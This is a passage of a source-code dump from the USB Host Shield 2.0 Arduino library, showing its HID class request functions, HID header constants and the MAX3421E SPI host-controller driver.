_ALWAYS_ ZERO for HID! We want the _INTERFACE_ value here! uint8_t USBHID::GetReportDescr(uint8_t ep, USBReadParser *parser) { const uint8_t constBufLen = 64; uint8_t buf[constBufLen]; uint8_t rcode = pUsb->ctrlReq(bAddress, ep, bmREQ_HID_REPORT, USB_REQUEST_GET_DESCRIPTOR, 0x00, HID_DESCRIPTOR_REPORT, 0x0000, 128, constBufLen, buf, (USBReadParser*)parser); //return ((rcode != hrSTALL) ? rcode : 0); return rcode; } */ uint8_t USBHID::GetReportDescr(uint16_t wIndex, USBReadParser *parser) { const uint8_t constBufLen = 64; uint8_t buf[constBufLen]; uint8_t rcode = pUsb->ctrlReq(bAddress, 0x00, bmREQ_HID_REPORT, USB_REQUEST_GET_DESCRIPTOR, 0x00, HID_DESCRIPTOR_REPORT, wIndex, 128, constBufLen, buf, (USBReadParser*)parser); //return ((rcode != hrSTALL) ? rcode : 0); return rcode; } //uint8_t USBHID::getHidDescr( uint8_t ep, uint16_t nbytes, uint8_t* dataptr ) //{ // return( pUsb->ctrlReq( bAddress, ep, bmREQ_GET_DESCR, USB_REQUEST_GET_DESCRIPTOR, 0x00, HID_DESCRIPTOR_HID, 0x0000, nbytes, dataptr )); //} uint8_t USBHID::SetReport(uint8_t ep, uint8_t iface, uint8_t report_type, uint8_t report_id, uint16_t nbytes, uint8_t* dataptr) { return ( pUsb->ctrlReq(bAddress, ep, bmREQ_HID_OUT, HID_REQUEST_SET_REPORT, report_id, report_type, iface, nbytes, nbytes, dataptr, NULL)); } uint8_t USBHID::GetReport(uint8_t ep, uint8_t iface, uint8_t report_type, uint8_t report_id, uint16_t nbytes, uint8_t* dataptr) { return ( pUsb->ctrlReq(bAddress, ep, bmREQ_HID_IN, HID_REQUEST_GET_REPORT, report_id, report_type, iface, nbytes, nbytes, dataptr, NULL)); } uint8_t USBHID::GetIdle(uint8_t iface, uint8_t reportID, uint8_t* dataptr) { return ( pUsb->ctrlReq(bAddress, 0, bmREQ_HID_IN, HID_REQUEST_GET_IDLE, reportID, 0, iface, 0x0001, 0x0001, dataptr, NULL)); } uint8_t USBHID::SetIdle(uint8_t iface, uint8_t reportID, uint8_t duration) { return ( pUsb->ctrlReq(bAddress, 0, bmREQ_HID_OUT, HID_REQUEST_SET_IDLE, reportID, duration, iface, 0x0000, 0x0000, NULL, NULL)); } uint8_t USBHID::SetProtocol(uint8_t iface, uint8_t protocol) { return ( pUsb->ctrlReq(bAddress, 0, bmREQ_HID_OUT, HID_REQUEST_SET_PROTOCOL, protocol, 0x00, iface, 0x0000, 0x0000, NULL, NULL)); } uint8_t USBHID::GetProtocol(uint8_t iface, uint8_t* dataptr) { return ( pUsb->ctrlReq(bAddress, 0, bmREQ_HID_IN, HID_REQUEST_GET_PROTOCOL, 0x00, 0x00, iface, 0x0001, 0x0001, dataptr, NULL)); } void USBHID::PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr) { Notify(PSTR("Endpoint descriptor:"), 0x80); Notify(PSTR("\r\nLength:\t\t"), 0x80); D_PrintHex (ep_ptr->bLength, 0x80); Notify(PSTR("\r\nType:\t\t"), 0x80); D_PrintHex (ep_ptr->bDescriptorType, 0x80); Notify(PSTR("\r\nAddress:\t"), 0x80); D_PrintHex (ep_ptr->bEndpointAddress, 0x80); Notify(PSTR("\r\nAttributes:\t"), 0x80); D_PrintHex (ep_ptr->bmAttributes, 0x80); Notify(PSTR("\r\nMaxPktSize:\t"), 0x80); D_PrintHex (ep_ptr->wMaxPacketSize, 0x80); Notify(PSTR("\r\nPoll Intrv:\t"), 0x80); D_PrintHex (ep_ptr->bInterval, 0x80); } void USBHID::PrintHidDescriptor(const USB_HID_DESCRIPTOR *pDesc) { Notify(PSTR("\r\n\r\nHID Descriptor:\r\n"), 0x80); Notify(PSTR("bDescLength:\t\t"), 0x80); D_PrintHex (pDesc->bLength, 0x80); Notify(PSTR("\r\nbDescriptorType:\t"), 0x80); D_PrintHex (pDesc->bDescriptorType, 0x80); Notify(PSTR("\r\nbcdHID:\t\t\t"), 0x80); D_PrintHex (pDesc->bcdHID, 0x80); Notify(PSTR("\r\nbCountryCode:\t\t"), 0x80); D_PrintHex (pDesc->bCountryCode, 0x80); Notify(PSTR("\r\nbNumDescriptors:\t"), 0x80); D_PrintHex (pDesc->bNumDescriptors, 0x80); Notify(PSTR("\r\nbDescrType:\t\t"), 0x80); D_PrintHex (pDesc->bDescrType, 0x80); Notify(PSTR("\r\nwDescriptorLength:\t"), 0x80); D_PrintHex (pDesc->wDescriptorLength, 0x80); } ================================================ FILE: libraries/USB_Host_Shield_2.0/usbhid.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #if !defined(__USBHID_H__) #define __USBHID_H__ #include "Usb.h" #include "hidusagestr.h" #define MAX_REPORT_PARSERS 2 #define HID_MAX_HID_CLASS_DESCRIPTORS 5 #define DATA_SIZE_MASK 0x03 #define TYPE_MASK 0x0C #define TAG_MASK 0xF0 #define DATA_SIZE_0 0x00 #define DATA_SIZE_1 0x01 #define DATA_SIZE_2 0x02 #define DATA_SIZE_4 0x03 #define TYPE_MAIN 0x00 #define TYPE_GLOBAL 0x04 #define TYPE_LOCAL 0x08 #define TAG_MAIN_INPUT 0x80 #define TAG_MAIN_OUTPUT 0x90 #define TAG_MAIN_COLLECTION 0xA0 #define TAG_MAIN_FEATURE 0xB0 #define TAG_MAIN_ENDCOLLECTION 0xC0 #define TAG_GLOBAL_USAGEPAGE 0x00 #define TAG_GLOBAL_LOGICALMIN 0x10 #define TAG_GLOBAL_LOGICALMAX 0x20 #define TAG_GLOBAL_PHYSMIN 0x30 #define TAG_GLOBAL_PHYSMAX 0x40 #define TAG_GLOBAL_UNITEXP 0x50 #define TAG_GLOBAL_UNIT 0x60 #define TAG_GLOBAL_REPORTSIZE 0x70 #define TAG_GLOBAL_REPORTID 0x80 #define TAG_GLOBAL_REPORTCOUNT 0x90 #define TAG_GLOBAL_PUSH 0xA0 #define TAG_GLOBAL_POP 0xB0 #define TAG_LOCAL_USAGE 0x00 #define TAG_LOCAL_USAGEMIN 0x10 #define TAG_LOCAL_USAGEMAX 0x20 /* HID requests */ #define bmREQ_HID_OUT USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_INTERFACE #define bmREQ_HID_IN USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_INTERFACE #define bmREQ_HID_REPORT USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_STANDARD|USB_SETUP_RECIPIENT_INTERFACE /* HID constants. Not part of chapter 9 */ /* Class-Specific Requests */ #define HID_REQUEST_GET_REPORT 0x01 #define HID_REQUEST_GET_IDLE 0x02 #define HID_REQUEST_GET_PROTOCOL 0x03 #define HID_REQUEST_SET_REPORT 0x09 #define HID_REQUEST_SET_IDLE 0x0A #define HID_REQUEST_SET_PROTOCOL 0x0B /* Class Descriptor Types */ #define HID_DESCRIPTOR_HID 0x21 #define HID_DESCRIPTOR_REPORT 0x22 #define HID_DESRIPTOR_PHY 0x23 /* Protocol Selection */ #define USB_HID_BOOT_PROTOCOL 0x00 #define HID_RPT_PROTOCOL 0x01 /* HID Interface Class Code */ #define HID_INTF 0x03 /* HID Interface Class SubClass Codes */ #define HID_BOOT_INTF_SUBCLASS 0x01 /* HID Interface Class Protocol Codes */ #define USB_HID_PROTOCOL_NONE 0x00 #define USB_HID_PROTOCOL_KEYBOARD 0x01 #define USB_HID_PROTOCOL_MOUSE 0x02 #define HID_ITEM_TYPE_MAIN 0 #define HID_ITEM_TYPE_GLOBAL 1 #define HID_ITEM_TYPE_LOCAL 2 #define HID_ITEM_TYPE_RESERVED 3 #define HID_LONG_ITEM_PREFIX 0xfe // Long item prefix value #define bmHID_MAIN_ITEM_TAG 0xfc // Main item tag mask #define bmHID_MAIN_ITEM_INPUT 0x80 // Main item Input tag value #define bmHID_MAIN_ITEM_OUTPUT 0x90 // Main item Output tag value #define bmHID_MAIN_ITEM_FEATURE 0xb0 // Main item Feature tag value #define bmHID_MAIN_ITEM_COLLECTION 0xa0 // Main item Collection tag value #define bmHID_MAIN_ITEM_END_COLLECTION 0xce // Main item End Collection tag value #define HID_MAIN_ITEM_COLLECTION_PHYSICAL 0 #define HID_MAIN_ITEM_COLLECTION_APPLICATION 1 #define HID_MAIN_ITEM_COLLECTION_LOGICAL 2 #define HID_MAIN_ITEM_COLLECTION_REPORT 3 #define HID_MAIN_ITEM_COLLECTION_NAMED_ARRAY 4 #define HID_MAIN_ITEM_COLLECTION_USAGE_SWITCH 5 #define HID_MAIN_ITEM_COLLECTION_USAGE_MODIFIER 6 struct HidItemPrefix { uint8_t bSize : 2; uint8_t bType : 2; uint8_t bTag : 4; }; struct MainItemIOFeature { uint8_t bmIsConstantOrData : 1; uint8_t bmIsArrayOrVariable : 1; uint8_t bmIsRelativeOrAbsolute : 1; uint8_t bmIsWrapOrNoWrap : 1; uint8_t bmIsNonLonearOrLinear : 1; uint8_t bmIsNoPreferedOrPrefered : 1; uint8_t bmIsNullOrNoNull : 1; uint8_t bmIsVolatileOrNonVolatile : 1; }; class USBHID; class HIDReportParser { public: virtual void Parse(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf) = 0; }; class USBHID : public USBDeviceConfig, public UsbConfigXtracter { protected: USB *pUsb; // USB class instance pointer uint8_t bAddress; // address protected: static const uint8_t epInterruptInIndex = 1; // InterruptIN endpoint index static const uint8_t epInterruptOutIndex = 2; // InterruptOUT endpoint index static const uint8_t maxHidInterfaces = 3; static const uint8_t maxEpPerInterface = 2; static const uint8_t totalEndpoints = (maxHidInterfaces * maxEpPerInterface + 1); void PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr); void PrintHidDescriptor(const USB_HID_DESCRIPTOR *pDesc); virtual HIDReportParser* GetReportParser(uint8_t id __attribute__((unused))) { return NULL; }; public: USBHID(USB *pusb) : pUsb(pusb) { }; const USB* GetUsb() { return pUsb; }; virtual bool SetReportParser(uint8_t id __attribute__((unused)), HIDReportParser *prs __attribute__((unused))) { return false; }; uint8_t SetProtocol(uint8_t iface, uint8_t protocol); uint8_t GetProtocol(uint8_t iface, uint8_t* dataptr); uint8_t GetIdle(uint8_t iface, uint8_t reportID, uint8_t* dataptr); uint8_t SetIdle(uint8_t iface, uint8_t reportID, uint8_t duration); uint8_t GetReportDescr(uint16_t wIndex, USBReadParser *parser = NULL); uint8_t GetHidDescr(uint8_t ep, uint16_t nbytes, uint8_t* dataptr); uint8_t GetReport(uint8_t ep, uint8_t iface, uint8_t report_type, uint8_t report_id, uint16_t nbytes, uint8_t* dataptr); uint8_t SetReport(uint8_t ep, uint8_t iface, uint8_t report_type, uint8_t report_id, uint16_t nbytes, uint8_t* dataptr); }; #endif // __USBHID_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/usbhost.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ /* MAX3421E-based USB Host Library header file */ #if !defined(_usb_h_) || defined(_USBHOST_H_) #error "Never include usbhost.h directly; include Usb.h instead" #else #define _USBHOST_H_ #if USING_SPI4TEENSY3 #include #include #endif /* SPI initialization */ template< typename SPI_CLK, typename SPI_MOSI, typename SPI_MISO, typename SPI_SS > class SPi { public: #if USING_SPI4TEENSY3 static void init() { // spi4teensy3 inits everything for us, except /SS // CLK, MOSI and MISO are hard coded for now. // spi4teensy3::init(0,0,0); // full speed, cpol 0, cpha 0 spi4teensy3::init(); // full speed, cpol 0, cpha 0 SPI_SS::SetDirWrite(); SPI_SS::Set(); } #elif defined(SPI_HAS_TRANSACTION) static void init() { USB_SPI.begin(); // The SPI library with transaction will take care of setting up the pins - settings is set in beginTransaction() SPI_SS::SetDirWrite(); SPI_SS::Set(); } #elif defined(STM32F4) #warning "You need to initialize the SPI interface manually when using the STM32F4 platform" static void init() { // Should be initialized by the user manually for now } #elif !defined(SPDR) static void init() { SPI_SS::SetDirWrite(); SPI_SS::Set(); USB_SPI.begin(); #if defined(__MIPSEL__) USB_SPI.setClockDivider(1); #elif defined(__ARDUINO_X86__) #ifdef SPI_CLOCK_1M // Hack used to check if setClockSpeed is available USB_SPI.setClockSpeed(12000000); // The MAX3421E can handle up to 26MHz, but in practice this was the maximum that I could reliably use #else USB_SPI.setClockDivider(SPI_CLOCK_DIV2); // This will set the SPI frequency to 8MHz - it could be higher, but it is not supported in the old API #endif #elif !defined(RBL_NRF51822) USB_SPI.setClockDivider(4); // Set speed to 84MHz/4=21MHz - the MAX3421E can handle up to 26MHz #endif } #else static void init() { //uint8_t tmp; SPI_CLK::SetDirWrite(); SPI_MOSI::SetDirWrite(); SPI_MISO::SetDirRead(); SPI_SS::SetDirWrite(); /* mode 00 (CPOL=0, CPHA=0) master, fclk/2. Mode 11 (CPOL=11, CPHA=11) is also supported by MAX3421E */ SPCR = 0x50; SPSR = 0x01; // 0x01 /**/ //tmp = SPSR; //tmp = SPDR; } #endif }; /* SPI pin definitions. see avrpins.h */ #if defined(PIN_SPI_SCK) && defined(PIN_SPI_MOSI) && defined(PIN_SPI_MISO) && defined(PIN_SPI_SS) // Use pin defines: https://github.com/arduino/Arduino/pull/4814 // Based on: https://www.mikeash.com/pyblog/friday-qa-2015-03-20-preprocessor-abuse-and-optional-parentheses.html #define NOTHING_EXTRACT #define EXTRACT(...) EXTRACT __VA_ARGS__ #define PASTE(x, ...) x ## __VA_ARGS__ #define EVALUATING_PASTE(x, ...) PASTE(x, __VA_ARGS__) #define UNPAREN(x) EVALUATING_PASTE(NOTHING_, EXTRACT x) #define APPEND_PIN(pin) P ## pin // Appends the pin to 'P', e.g. 1 becomes P1 #define MAKE_PIN(x) EVALUATING_PASTE(APPEND_, PIN(UNPAREN(x))) typedef SPi< MAKE_PIN(PIN_SPI_SCK), MAKE_PIN(PIN_SPI_MOSI), MAKE_PIN(PIN_SPI_MISO), MAKE_PIN(PIN_SPI_SS) > spi; #undef MAKE_PIN #elif defined(__AVR_ATmega1280__) || (__AVR_ATmega2560__) || defined(__AVR_ATmega32U4__) || defined(__AVR_AT90USB646__) || defined(__AVR_AT90USB1286__) typedef SPi< Pb1, Pb2, Pb3, Pb0 > spi; #elif defined(__AVR_ATmega168__) || defined(__AVR_ATmega328P__) typedef SPi< Pb5, Pb3, Pb4, Pb2 > spi; #elif defined(__AVR_ATmega644__) || defined(__AVR_ATmega644P__) || defined(__AVR_ATmega1284__) || defined(__AVR_ATmega1284P__) typedef SPi< Pb7, Pb5, Pb6, Pb4 > spi; #elif (defined(CORE_TEENSY) && (defined(__MK20DX128__) || defined(__MK20DX256__) || defined(__MK64FX512__) || defined(__MK66FX1M0__) || defined(__MKL26Z64__))) || defined(__ARDUINO_ARC__) || defined(__ARDUINO_X86__) || defined(__MIPSEL__) || defined(STM32F4) typedef SPi< P13, P11, P12, P10 > spi; #elif defined(ARDUINO_SAM_DUE) && defined(__SAM3X8E__) typedef SPi< P76, P75, P74, P10 > spi; #elif defined(RBL_NRF51822) typedef SPi< P16, P18, P17, P10 > spi; #elif defined(ESP8266) typedef SPi< P14, P13, P12, P15 > spi; #elif defined(ESP32) typedef SPi< P18, P23, P19, P5 > spi; #else #error "No SPI entry in usbhost.h" #endif typedef enum { vbus_on = 0, vbus_off = GPX_VBDET } VBUS_t; template< typename SPI_SS, typename INTR > class MAX3421e /* : public spi */ { static uint8_t vbusState; public: MAX3421e(); void regWr(uint8_t reg, uint8_t data); uint8_t* bytesWr(uint8_t reg, uint8_t nbytes, uint8_t* data_p); void gpioWr(uint8_t data); uint8_t regRd(uint8_t reg); uint8_t* bytesRd(uint8_t reg, uint8_t nbytes, uint8_t* data_p); uint8_t gpioRd(); uint16_t reset(); int8_t Init(); int8_t Init(int mseconds); void vbusPower(VBUS_t state) { regWr(rPINCTL, (bmFDUPSPI | bmINTLEVEL | state)); } uint8_t getVbusState(void) { return vbusState; }; void busprobe(); uint8_t GpxHandler(); uint8_t IntHandler(); uint8_t Task(); }; template< typename SPI_SS, typename INTR > uint8_t MAX3421e< SPI_SS, INTR >::vbusState = 0; /* constructor */ template< typename SPI_SS, typename INTR > MAX3421e< SPI_SS, INTR >::MAX3421e() { // Leaving ADK hardware setup in here, for now. This really belongs with the other parts. #ifdef BOARD_MEGA_ADK // For Mega ADK, which has a Max3421e on-board, set MAX_RESET to output mode, and then set it to HIGH P55::SetDirWrite(); P55::Set(); #endif }; /* write single byte into MAX3421 register */ template< typename SPI_SS, typename INTR > void MAX3421e< SPI_SS, INTR >::regWr(uint8_t reg, uint8_t data) { XMEM_ACQUIRE_SPI(); #if defined(SPI_HAS_TRANSACTION) USB_SPI.beginTransaction(SPISettings(26000000, MSBFIRST, SPI_MODE0)); // The MAX3421E can handle up to 26MHz, use MSB First and SPI mode 0 #endif SPI_SS::Clear(); #if USING_SPI4TEENSY3 uint8_t c[2]; c[0] = reg | 0x02; c[1] = data; spi4teensy3::send(c, 2); #elif defined(SPI_HAS_TRANSACTION) && !defined(ESP8266) && !defined(ESP32) uint8_t c[2]; c[0] = reg | 0x02; c[1] = data; USB_SPI.transfer(c, 2); #elif defined(STM32F4) uint8_t c[2]; c[0] = reg | 0x02; c[1] = data; HAL_SPI_Transmit(&SPI_Handle, c, 2, HAL_MAX_DELAY); #elif !defined(SPDR) // ESP8266, ESP32 USB_SPI.transfer(reg | 0x02); USB_SPI.transfer(data); #else SPDR = (reg | 0x02); while(!(SPSR & (1 << SPIF))); SPDR = data; while(!(SPSR & (1 << SPIF))); #endif SPI_SS::Set(); #if defined(SPI_HAS_TRANSACTION) USB_SPI.endTransaction(); #endif XMEM_RELEASE_SPI(); return; }; /* multiple-byte write */ /* returns a pointer to memory position after last written */ template< typename SPI_SS, typename INTR > uint8_t* MAX3421e< SPI_SS, INTR >::bytesWr(uint8_t reg, uint8_t nbytes, uint8_t* data_p) { XMEM_ACQUIRE_SPI(); #if defined(SPI_HAS_TRANSACTION) USB_SPI.beginTransaction(SPISettings(26000000, MSBFIRST, SPI_MODE0)); // The MAX3421E can handle up to 26MHz, use MSB First and SPI mode 0 #endif SPI_SS::Clear(); #if USING_SPI4TEENSY3 spi4teensy3::send(reg | 0x02); spi4teensy3::send(data_p, nbytes); data_p += nbytes; #elif defined(SPI_HAS_TRANSACTION) && !defined(ESP8266) && !defined(ESP32) USB_SPI.transfer(reg | 0x02); USB_SPI.transfer(data_p, nbytes); data_p += nbytes; #elif defined(__ARDUINO_X86__) USB_SPI.transfer(reg | 0x02); USB_SPI.transferBuffer(data_p, NULL, nbytes); data_p += nbytes; #elif defined(STM32F4) uint8_t data = reg | 0x02; HAL_SPI_Transmit(&SPI_Handle, &data, 1, HAL_MAX_DELAY); HAL_SPI_Transmit(&SPI_Handle, data_p, nbytes, HAL_MAX_DELAY); data_p += nbytes; #elif !defined(SPDR) // ESP8266, ESP32 USB_SPI.transfer(reg | 0x02); while(nbytes) { USB_SPI.transfer(*data_p); nbytes--; data_p++; // advance data pointer } #else SPDR = (reg | 0x02); //set WR bit and send register number while(nbytes) { while(!(SPSR & (1 << SPIF))); //check if previous byte was sent SPDR = (*data_p); // send next data byte nbytes--; data_p++; // advance data pointer } while(!(SPSR & (1 << SPIF))); #endif SPI_SS::Set(); #if defined(SPI_HAS_TRANSACTION) USB_SPI.endTransaction(); #endif XMEM_RELEASE_SPI(); return ( data_p); } /* GPIO write */ /*GPIO byte is split between 2 registers, so two writes are needed to write one byte */ /* GPOUT bits are in the low nibble. 0-3 in IOPINS1, 4-7 in IOPINS2 */ template< typename SPI_SS, typename INTR > void MAX3421e< SPI_SS, INTR >::gpioWr(uint8_t data) { regWr(rIOPINS1, data); data >>= 4; regWr(rIOPINS2, data); return; } /* single host register read */ template< typename SPI_SS, typename INTR > uint8_t MAX3421e< SPI_SS, INTR >::regRd(uint8_t reg) { XMEM_ACQUIRE_SPI(); #if defined(SPI_HAS_TRANSACTION) USB_SPI.beginTransaction(SPISettings(26000000, MSBFIRST, SPI_MODE0)); // The MAX3421E can handle up to 26MHz, use MSB First and SPI mode 0 #endif SPI_SS::Clear(); #if USING_SPI4TEENSY3 spi4teensy3::send(reg); uint8_t rv = spi4teensy3::receive(); SPI_SS::Set(); #elif defined(STM32F4) HAL_SPI_Transmit(&SPI_Handle, ®, 1, HAL_MAX_DELAY); uint8_t rv = 0; HAL_SPI_Receive(&SPI_Handle, &rv, 1, HAL_MAX_DELAY); SPI_SS::Set(); #elif !defined(SPDR) || defined(SPI_HAS_TRANSACTION) USB_SPI.transfer(reg); uint8_t rv = USB_SPI.transfer(0); // Send empty byte SPI_SS::Set(); #else SPDR = reg; while(!(SPSR & (1 << SPIF))); SPDR = 0; // Send empty byte while(!(SPSR & (1 << SPIF))); SPI_SS::Set(); uint8_t rv = SPDR; #endif #if defined(SPI_HAS_TRANSACTION) USB_SPI.endTransaction(); #endif XMEM_RELEASE_SPI(); return (rv); } /* multiple-byte register read */ /* returns a pointer to a memory position after last read */ template< typename SPI_SS, typename INTR > uint8_t* MAX3421e< SPI_SS, INTR >::bytesRd(uint8_t reg, uint8_t nbytes, uint8_t* data_p) { XMEM_ACQUIRE_SPI(); #if defined(SPI_HAS_TRANSACTION) USB_SPI.beginTransaction(SPISettings(26000000, MSBFIRST, SPI_MODE0)); // The MAX3421E can handle up to 26MHz, use MSB First and SPI mode 0 #endif SPI_SS::Clear(); #if USING_SPI4TEENSY3 spi4teensy3::send(reg); spi4teensy3::receive(data_p, nbytes); data_p += nbytes; #elif defined(SPI_HAS_TRANSACTION) && !defined(ESP8266) && !defined(ESP32) USB_SPI.transfer(reg); memset(data_p, 0, nbytes); // Make sure we send out empty bytes USB_SPI.transfer(data_p, nbytes); data_p += nbytes; #elif defined(__ARDUINO_X86__) USB_SPI.transfer(reg); USB_SPI.transferBuffer(NULL, data_p, nbytes); data_p += nbytes; #elif defined(STM32F4) HAL_SPI_Transmit(&SPI_Handle, ®, 1, HAL_MAX_DELAY); memset(data_p, 0, nbytes); // Make sure we send out empty bytes HAL_SPI_Receive(&SPI_Handle, data_p, nbytes, HAL_MAX_DELAY); data_p += nbytes; #elif !defined(SPDR) // ESP8266, ESP32 USB_SPI.transfer(reg); while(nbytes) { *data_p++ = USB_SPI.transfer(0); nbytes--; } #else SPDR = reg; while(!(SPSR & (1 << SPIF))); //wait while(nbytes) { SPDR = 0; // Send empty byte nbytes--; while(!(SPSR & (1 << SPIF))); #if 0 { *data_p = SPDR; printf("%2.2x ", *data_p); } data_p++; } printf("\r\n"); #else *data_p++ = SPDR; } #endif #endif SPI_SS::Set(); #if defined(SPI_HAS_TRANSACTION) USB_SPI.endTransaction(); #endif XMEM_RELEASE_SPI(); return ( data_p); } /* GPIO read. See gpioWr for explanation */ /* GPIN pins are in high nibbles of IOPINS1, IOPINS2 */ template< typename SPI_SS, typename INTR > uint8_t MAX3421e< SPI_SS, INTR >::gpioRd() { uint8_t gpin = 0; gpin = regRd(rIOPINS2); //pins 4-7 gpin &= 0xf0; //clean lower nibble gpin |= (regRd(rIOPINS1) >> 4); //shift low bits and OR with upper from previous operation. return ( gpin); } /* reset MAX3421E. Returns number of cycles it took for PLL to stabilize after reset or zero if PLL haven't stabilized in 65535 cycles */ template< typename SPI_SS, typename INTR > uint16_t MAX3421e< SPI_SS, INTR >::reset() { uint16_t i = 0; regWr(rUSBCTL, bmCHIPRES); regWr(rUSBCTL, 0x00); while(++i) { if((regRd(rUSBIRQ) & bmOSCOKIRQ)) { break; } } return ( i); } /* initialize MAX3421E. Set Host mode, pullups, and stuff. Returns 0 if success, -1 if not */ template< typename SPI_SS, typename INTR > int8_t MAX3421e< SPI_SS, INTR >::Init() { XMEM_ACQUIRE_SPI(); // Moved here. // you really should not init hardware in the constructor when it involves locks. // Also avoids the vbus flicker issue confusing some devices. /* pin and peripheral setup */ SPI_SS::SetDirWrite(); SPI_SS::Set(); spi::init(); INTR::SetDirRead(); XMEM_RELEASE_SPI(); /* MAX3421E - full-duplex SPI, level interrupt */ // GPX pin on. Moved here, otherwise we flicker the vbus. regWr(rPINCTL, (bmFDUPSPI | bmINTLEVEL)); if(reset() == 0) { //OSCOKIRQ hasn't asserted in time return ( -1); } regWr(rMODE, bmDPPULLDN | bmDMPULLDN | bmHOST); // set pull-downs, Host regWr(rHIEN, bmCONDETIE | bmFRAMEIE); //connection detection /* check if device is connected */ regWr(rHCTL, bmSAMPLEBUS); // sample USB bus while(!(regRd(rHCTL) & bmSAMPLEBUS)); //wait for sample operation to finish busprobe(); //check if anything is connected regWr(rHIRQ, bmCONDETIRQ); //clear connection detect interrupt regWr(rCPUCTL, 0x01); //enable interrupt pin return ( 0); } /* initialize MAX3421E. Set Host mode, pullups, and stuff. Returns 0 if success, -1 if not */ template< typename SPI_SS, typename INTR > int8_t MAX3421e< SPI_SS, INTR >::Init(int mseconds) { XMEM_ACQUIRE_SPI(); // Moved here. // you really should not init hardware in the constructor when it involves locks. // Also avoids the vbus flicker issue confusing some devices. /* pin and peripheral setup */ SPI_SS::SetDirWrite(); SPI_SS::Set(); spi::init(); INTR::SetDirRead(); XMEM_RELEASE_SPI(); /* MAX3421E - full-duplex SPI, level interrupt, vbus off */ regWr(rPINCTL, (bmFDUPSPI | bmINTLEVEL | GPX_VBDET)); if(reset() == 0) { //OSCOKIRQ hasn't asserted in time return ( -1); } // Delay a minimum of 1 second to ensure any capacitors are drained. // 1 second is required to make sure we do not smoke a Microdrive! if(mseconds < 1000) mseconds = 1000; delay(mseconds); regWr(rMODE, bmDPPULLDN | bmDMPULLDN | bmHOST); // set pull-downs, Host regWr(rHIEN, bmCONDETIE | bmFRAMEIE); //connection detection /* check if device is connected */ regWr(rHCTL, bmSAMPLEBUS); // sample USB bus while(!(regRd(rHCTL) & bmSAMPLEBUS)); //wait for sample operation to finish busprobe(); //check if anything is connected regWr(rHIRQ, bmCONDETIRQ); //clear connection detect interrupt regWr(rCPUCTL, 0x01); //enable interrupt pin // GPX pin on. This is done here so that busprobe will fail if we have a switch connected. regWr(rPINCTL, (bmFDUPSPI | bmINTLEVEL)); return ( 0); } /* probe bus to determine device presence and speed and switch host to this speed */ template< typename SPI_SS, typename INTR > void MAX3421e< SPI_SS, INTR >::busprobe() { uint8_t bus_sample; bus_sample = regRd(rHRSL); //Get J,K status bus_sample &= (bmJSTATUS | bmKSTATUS); //zero the rest of the byte switch(bus_sample) { //start full-speed or low-speed host case( bmJSTATUS): if((regRd(rMODE) & bmLOWSPEED) == 0) { regWr(rMODE, MODE_FS_HOST); //start full-speed host vbusState = FSHOST; } else { regWr(rMODE, MODE_LS_HOST); //start low-speed host vbusState = LSHOST; } break; case( bmKSTATUS): if((regRd(rMODE) & bmLOWSPEED) == 0) { regWr(rMODE, MODE_LS_HOST); //start low-speed host vbusState = LSHOST; } else { regWr(rMODE, MODE_FS_HOST); //start full-speed host vbusState = FSHOST; } break; case( bmSE1): //illegal state vbusState = SE1; break; case( bmSE0): //disconnected state regWr(rMODE, bmDPPULLDN | bmDMPULLDN | bmHOST | bmSEPIRQ); vbusState = SE0; break; }//end switch( bus_sample ) } /* MAX3421 state change task and interrupt handler */ template< typename SPI_SS, typename INTR > uint8_t MAX3421e< SPI_SS, INTR >::Task(void) { uint8_t rcode = 0; uint8_t pinvalue; //USB_HOST_SERIAL.print("Vbus state: "); //USB_HOST_SERIAL.println( vbusState, HEX ); pinvalue = INTR::IsSet(); //Read(); //pinvalue = digitalRead( MAX_INT ); if(pinvalue == 0) { rcode = IntHandler(); } // pinvalue = digitalRead( MAX_GPX ); // if( pinvalue == LOW ) { // GpxHandler(); // } // usbSM(); //USB state machine return ( rcode); } template< typename SPI_SS, typename INTR > uint8_t MAX3421e< SPI_SS, INTR >::IntHandler() { uint8_t HIRQ; uint8_t HIRQ_sendback = 0x00; HIRQ = regRd(rHIRQ); //determine interrupt source //if( HIRQ & bmFRAMEIRQ ) { //->1ms SOF interrupt handler // HIRQ_sendback |= bmFRAMEIRQ; //}//end FRAMEIRQ handling if(HIRQ & bmCONDETIRQ) { busprobe(); HIRQ_sendback |= bmCONDETIRQ; } /* End HIRQ interrupts handling, clear serviced IRQs */ regWr(rHIRQ, HIRQ_sendback); return ( HIRQ_sendback); } //template< typename SPI_SS, typename INTR > //uint8_t MAX3421e< SPI_SS, INTR >::GpxHandler() //{ // uint8_t GPINIRQ = regRd( rGPINIRQ ); //read GPIN IRQ register //// if( GPINIRQ & bmGPINIRQ7 ) { //vbus overload //// vbusPwr( OFF ); //attempt powercycle //// delay( 1000 ); //// vbusPwr( ON ); //// regWr( rGPINIRQ, bmGPINIRQ7 ); //// } // return( GPINIRQ ); //} #endif // _USBHOST_H_ ================================================ FILE: libraries/USB_Host_Shield_2.0/usbhub.cpp ================================================ /* Copyright (C) 